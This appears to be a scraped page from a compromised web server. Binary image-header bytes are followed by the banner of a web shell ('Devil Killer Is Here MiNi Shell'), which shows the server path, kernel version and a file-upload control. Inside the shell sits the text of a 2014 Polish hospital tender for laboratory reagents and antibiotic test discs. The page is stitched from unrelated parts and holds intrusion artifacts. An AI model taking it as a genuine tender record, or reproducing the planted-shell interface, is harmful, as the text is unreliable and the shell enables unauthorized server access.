JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140325/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140325/63281-N-2014.html

<p class="kh_header"><b>Oleśnica: Dostawa odczynników i materiałów zużywalnych wraz z dzierżawą analizatorów dla laboratoriów Powiatowego Zespołu Szpitali w Oleśnicy</b><br>
<b>Numer ogłoszenia: 63281 - 2014; data zamieszczenia: 25.03.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Powiatowy Zespół Szpitali w Oleśnicy , ul. Armii Krajowej 1, 56-400 Oleśnica, woj. dolnośląskie, tel. 071 3143747, faks 071 3143747.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.pzsolesnica.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Samodzielny publiczny zakład opieki zdrowotnej.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Dostawa odczynników i materiałów zużywalnych wraz z dzierżawą analizatorów dla laboratoriów Powiatowego Zespołu Szpitali w Oleśnicy.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest dostawa odczynników i materiałów zużywalnych do oznaczania poziomu troponiny wraz z dzierżawą analizatora, odczynników i testów identyfikacyjnych, podłoży mikrobiologicznych suchych i w butelkach, odczynników i szybkich testów identyfikacyjnych, Krążków do identyfikacji i lekowrażliwości oraz szczepów wzorcowych, testów do identyfikacji mikroorganizmów oraz dzierżawa czytnika i densytometru, podłoży mikrobiologicznych na płytkach,
pasków testowych ETEST - określanie wartości MIC, odczynników do badań laboratoryjnych, materiałów kontrolnych do analizatora RKZ OMNI C, szybkich testów do badań laboratoryjnych, dostawa odczynników i materiałów zużywalnych do badań chemiluminescencyjnych wraz z dzierżawą dwóch analizatorów (podstawowego i zapasowego), dostawa odczynników i materiałów zużywalnych do badań morfologii krwi wraz dzierżawą dwóch analizatorów - analizatora z automatycznym podajnikiem próbek dla laboratorium w Oleśnicy i analizatora z manualnym podawaniem próbek dla laboratorium w Sycowie.
Szczegółowy opis przedmiotu zamówienia zawierają załączniki nr 2-13 do SIWZ.
Zamawiający dopuszcza możliwość składania ofert częściowych na poszczególne pakiety:
Pakiet nr 1 - dostawa odczynników i materiałów zużywalnych do oznaczania poziomu troponiny wraz z dzierżawą analizatora
Pakiet nr 2 - dostawa odczynników i szybkich testów identyfikacyjnych
Pakiet nr 3 - dostawa podłoży mikrobiologicznych suchych i w butelkach
Pakiet nr 4 - dostawa odczynników i szybkich testów identyfikacyjnych,
Pakiet nr 5 - dostawa Krążków do identyfikacji i lekowrażliwości oraz szczepów wzorcowych,
Pakiet nr 6 - dostawa testów do identyfikacji mikroorganizmów oraz dzierżawa czytnika i densytometru
Pakiet nr 7 - dostawa podłoży mikrobiologicznych na płytkach
Pakiet nr 8 - dostawa pasków testowych ETEST - określanie wartości MIC
Pakiet nr 9 - dostawa odczynników do badań laboratoryjnych
Pakiet nr 10 - dostawa materiałów kontrolnych do analizatora RKZ OMNI C
Pakiet nr 11 -dostawa szybkich testów do badań laboratoryjnych
Pakiet nr 12 - dostawa odczynników i materiałów zużywalnych do badań chemiluminescencyjnych wraz z dzierżawą dwóch analizatorów (podstawowego i zapasowego)
Pakiet nr 13 - dostawa odczynników i materiałów zużywalnych do badań morfologii krwi wraz dzierżawą dwóch analizatorów - analizatora z automatycznym podajnikiem próbek dla laboratorium w Oleśnicy i analizatora z manualnym podawaniem próbek dla laboratorium w Sycowie.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 38.43.45.20-7, 33.69.65.00-0, 33.69.62.00-7, 33.12.41.30-5, 33.12.41.10-9, 38.43.45.80-5, 38.42.58.00-8, 38.43.45.70-2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 13.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 24.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca złoży oświadczenie o spełnianiu tego warunku</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca złoży oświadczenie o spełnianiu tego warunku</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca złoży oświadczenie o spełnianiu tego warunku</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca złoży oświadczenie o spełnianiu tego warunku</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna warunek za spełniony, jeżeli Wykonawca złoży oświadczenie o spełnianiu tego warunku</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY, USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane roboty budowlane, dostawy lub usługi odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">a) deklaracja CE do każdego produktu - jeżeli jest wymagana
b) ulotki zawierające opis oferowanych odczynników i materiałów zużywalnych
c) do oferty należy dołączyć dokumenty potwierdzające spełnienie warunków/parametrów wymaganych oraz ocenianych.
d) metodyki oznaczeń i/lub inne materiały opisujące m.in. wymaganą procedurą kalibracji i kontroli analizatora
e) certyfikat kontroli jakości ISO 9001 i kontroli jakości dla wyrobów medycznych ISO 13485 dla wszystkich produktów (dotyczy Pakietu nr 8, 7, 6, 4, 3, 2)
f) opisy w języku polskim dołączone do oferty dla każdego produktu (dotyczy Pakietu nr 4, 3, 2)
g) oświadczenie, że Wykonawca posiada w zakresie oferowanych wyrobów dokumenty zezwalające na ich wprowadzenie do obrotu i stosowania.</p></li>



</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Oferta musi również zawierać następujące dokumenty i oświadczenia:
a)  wypełniony formularz asortymentowo-cenowy (odpowiednio załącznik nr 2-14 do SIWZ)
b) w przypadku reprezentowania Wykonawcy przez pełnomocnika, do oferty musi być załączony oryginał pełnomocnictwa lub jego kopia poświadczona notarialnie
c) jeżeli odrębne przepisy nie wymagają wpisu do rejestru, do oferty należy dołączyć dokument, z którego będzie wynikało, że osoba, która podpisała ofertę jest upoważniona do reprezentowania firmy.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>

<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zmiany umowy wymagają formy pisemnej pod rygorem nieważności, z zastrzeżeniem art. 144 ustawy Prawo zamówień publicznych i strony postanawiają, że jedyna dopuszczalna zmiana warunków umowy może dotyczyć ceny w części dotyczącej zmiany stawki podatku VAT oraz w przypadku niewyczerpania przez Zamawiającego wartości umowy w okresie jej trwania, Strony mają prawo do przedłużenia terminu obowiązywania umowy, bez zwiększania jej wartości. Strony dopuszczają również zmianę warunków umowy w zakresie numeru katalogowego produktu i nazwy produktu przy zachowaniu jego parametrów oraz wszelkich zmian umowy, o ile konieczność ich wprowadzenia będzie wynikała ze zmian w obowiązujących przepisach prawa.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.pzsolesnica.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Powiatowy Zespół Szpitali
ul. Armii Krajowej 1
56-400 Oleśnica.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 02.04.2014 godzina 11:00, miejsce: Powiatowy Zespół Szpitali
ul. Armii Krajowej 1
56-400 Oleśnica
piętro IV, pokój 9.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Pakiet 1 - Odczynniki i materiały zużywalne do oznaczania poziomu troponiny wraz dzierżawą analizatora dla laboratorium w Sycowie.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> ZESTAWIENIE PARAMETRÓW ANALIZATORA
1. Analizator wykonujący ilościowe oznaczenia Troponiny
2. W pełni przenośny
3. Wyposażony w dotykowy ekran
4. Zasilanie sieciowe i bateryjne wystarczające na wykonanie minimum 10 pomiarów
5. Aparat ze zintegrowanym czytnikiem kodów kreskowych
6. Mała objętość próbki - do 150 ul
7. Testy paskowe z polem  potwierdzającym poprawność wykonania oznaczenia
8. Możliwość wykonania badań z pełnej krwi żylnej pobranej na heparynę sodową lub litową
9. Oznaczenie parametru w czasie do 15 minut
10. Pamięć 500 wyników pacjentów z datą i czasem pomiaru
11. Pomiar immunochemiczny
12. Zastosowanie jednorazowych testów paskowych, oddzielnie pakowanych
13. Testy paskowe gotowe do użycia zaraz po wyjęciu z lodówki
14. Elektroniczny klucz kodujący kalibrację w każdym opakowaniu testów
15. Podłączenie analizatora do systemu e-Lab na koszt Wykonawcy

Odczynniki
Troponina - Ilość oznaczeń na 24 mies.: 3000

Materiały kontrolne i kalibratory
Wykonawca zobowiązany jest wyliczyć wartość oferty uwzględniając wielkość opakowań i zaokrąglając w górę do pełnego opakowania. Przy obliczaniu ilości potrzebnych opakowań odczynników do podanych wyżej ilości oznaczeń należy doliczyć niezbędne oznaczenia kalibracyjne i kontrolne. Przewidujemy wykonywanie kontroli 1x w tygodniu.
Wykonawca oświadcza, że wskazany w formularzu asortyment jest wystarczający do prawidłowego wykonania w/w ilości oznaczeń. W przypadku nie uwzględnienia asortymentu potrzebnego do wykonania w/w ilości oznaczeń Wykonawca zobowiązuje się do bezpłatnego zapewnienia tego asortymentu Zamawiającemu..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.65.00-0, 38.43.45.20-7.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Pakiet nr 2 -   Odczynniki i testy identyfikacyjne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Zestaw do identyfikacji do gatunku pałeczek z rodziny Enterobacteriaceae w ciągu 24 godzin, na podstawie 16 testów biochemicznych dla 1 szczepu na mikropłytkach ,  test odczynnikowy
jednostka miary: 60 testów
ilość 10
2. Zestaw do identyfikacji do gatunku pałeczek z rodziny Enterobacteriaceae w ciągu 24 godzin, na podstawie 24 testów biochemicznych dla 1 szczepu na mikropłytkach , test bezodczynnikowy
jednostka miary: 40 testów
ilość: 24
3. Test paskowy do wykrywania oksydazy cytochromowej
jednostka miary: 50 pasków
ilość: 10
4. Odczynnik do próby indolowej
jednostka miary: 360 badań/opk
ilość: 10
5. Odczynnik do próby fenyloalaninowej
jednostka miary:360 badań/opk
ilość: 5
Wykonawca zobowiązany jest wyliczyć wartość oferty uwzględniając wielkość opakowań i zaokrąglając w górę do pełnego opakowania

Warunki wymagane dot. Pakietu nr 2:
1. Test odczytywany wizualnie, za pomocą porównawczej skali barw i instrukcji obsługi    
dostarczanej przez producenta
2. Możliwość oceny wyniku identyfikacji za pomocą programu identyfikacyjnego - otwartego (tzn. z możliwością zdefiniowania własnego szeregu biochemicznego oraz z możliwością poszerzenia ww. zestawu testów podstawowych o dodatkowe testy)
3. Testy posiadają  certyfikaty ISO 9001 oraz 1348524 
4. 24 miesięczna licencja programu identyfikacyjnego 
5. Warunki dotyczące programu identyfikacyjnego 
- program oceniający na podstawie: procent prawdopodobieństwa oraz T-indeks                   
  (zgodność wyniku z wynikiem typowym dla wskazanego taksonu)
- program w języku polskim
- producent programu : certyfikaty ISO 9001, ISO 13485
- program otwarty (możliwość zdefiniowania własnego szeregu biochemicznego i
  ocena takiego szeregu)
- program oferujący obróbkę statystyczną danych identyfikacyjnych
- program posiadający moduł archiwizacji
- program interaktywny..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.65.00-0, 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Pakiet nr 3  - Podłoża mikrobiologiczne suche i w butelkach.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Podłoża suche :
Salmonella-Shigella Agar  
jednostka miary: 500g, ilość: 3
Mueller Hinton Agar - podłoże do badania lekowrażliwości
jednostka miary: 500g, ilość: 4
Nutrien Agar 2,8% - Agar odżywczy z NaCl
jednostka miary: 500g, ilość: 2
Podłoża w butelkach :
Podłoże Christensena  
jednostka miary: 200ml, ilość: 8
Podłoże Kliglera  
jednostka miary: 200ml, ilość: 8    
Podłoże z Fenyloalaniną 
jednostka miary: 200ml, ilość: 5
Selenite F - Broth 
jednostka miary: 200ml, ilość: 25
Tryptone Water 
jednostka miary: 200ml, ilość: 12   
Simmons Citrate Agar
jednostka miary: 200ml, ilość: 8.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 4 <b>NAZWA:</b> Pakiet nr 4 - Odczynniki i szybkie testy identyfikacyjne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Liofilizowana plazma królicza do wykrywania koagulazy gronkowcowej
jednostka miary: Fiolka 10 ml
ilość: 60
2. Zestaw do identyfikacji paciorkowców grupy A,B,C,D,F,G; lateks bichromatyczny, wytrząsanie w temp. pokojowej
jednostka miary: 60 testów
ilość: 6
3. Zestaw do identyfikacji S. aureus, wykrywający 3 czynniki: clamping factor, białko A i polisacharyd otoczkowy
jednostka miary: 50 testów
ilość: 4.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 33.69.65.00-0, 33.12.41.30-5.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Okres w miesiącach: 24.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 5 <b>NAZWA:</b> Pakiet 5 -  Krążki do identyfikacji i lekowrażliwości oraz szczepy wzorcowe.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Krążki diagnostyczne BVX - wysycone bacytracyną B, czynnikiem V (wyciąg drożdżowy CBM), czynnikiem X (hematyną CBM) do wykrywania i izolacji pałeczek z rodzaju Haemophilus
jednostka miary: 50 krążków, ilość: 16
2. Krążki diagnostyczne EF - do różnicowania szczepów Enterococcus faecalis, E. faecium
jednostka miary: 50 krążków, ilość: 8
3. Krążki diagnostyczne BC - wysycone glukozą i błękitem bromotymolowym do różnicowania bakterii z rodzaju Moraxella od bakterii z rodzaju Neisseria
jednostka miary: 50 krążków, ilość: 	8
4. Optochima 
jednostka miary: 100 krążków, ilość: 8
5. Furazolidon - 100 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 30
6. Amikacyna- 30?g
jednostka miary: Fiolka 50 sztuk
ilość: 30
7. Amoksycylina - 10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
8. Amoksycylina /kw. klawulanowy 20/10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 50
9. Ampicylina- 2 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 20
10. Aztreonam - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 40
11. Ceftazydym - 10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 30
12. Cefepim 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
13. Cefotaksym  5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 30
14. Cefotaksym - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 40
15. Ceftazydym - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 40
16. Ceftriakson- 30 ?g
jednostka miary:  Fiolka 50 sztuk, ilość: 10
17. Cefuroksym- 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 40
18. Cefiksime 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
19. Cefoksytyna - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 30
20. Ciprofloksacyna - 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 24
21. Moksifloksacyna - 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
22. Levofloksacyna 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
24. Klindamycyna - 2 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 26
25. Erytromycyna - 15 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 26
26. Gentamicina- 10 ?g 
jednostka miary: Fiolka 50 sztuk, ilość: 30
27. Gentamicyna - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 6
28. Imipenem - 10 ?g 
jednostka miary: Fiolka 50 sztuk, ilość: 45
29. Mupirocin - 200 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
30. Linezolid  - 10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
31. Nitrofurantoina - 100 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 20
32. Norfloksacyna - 10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 20
33. Penicylina G- 1 UI 
jednostka miary: Fiolka 50 sztuk, ilość: 25
34. Piperacylina/tazobaktam  - 30/6 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
35. Streptomycyna - 300 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 6
36. Tikarcylina - 75 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
37. Tikarcylina/ kw.klawulanowy - 75/10 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 4
38. Tetracyklina - 30 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 6
39. Trimetoprim - Sulfametoksazol
jednostka miary: Fiolka 50 sztuk, ilość: 4
40. Wankomycyna  - 5 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
41. Oksacylina - 1 ?g
jednostka miary: Fiolka 50 sztuk, ilość: 8
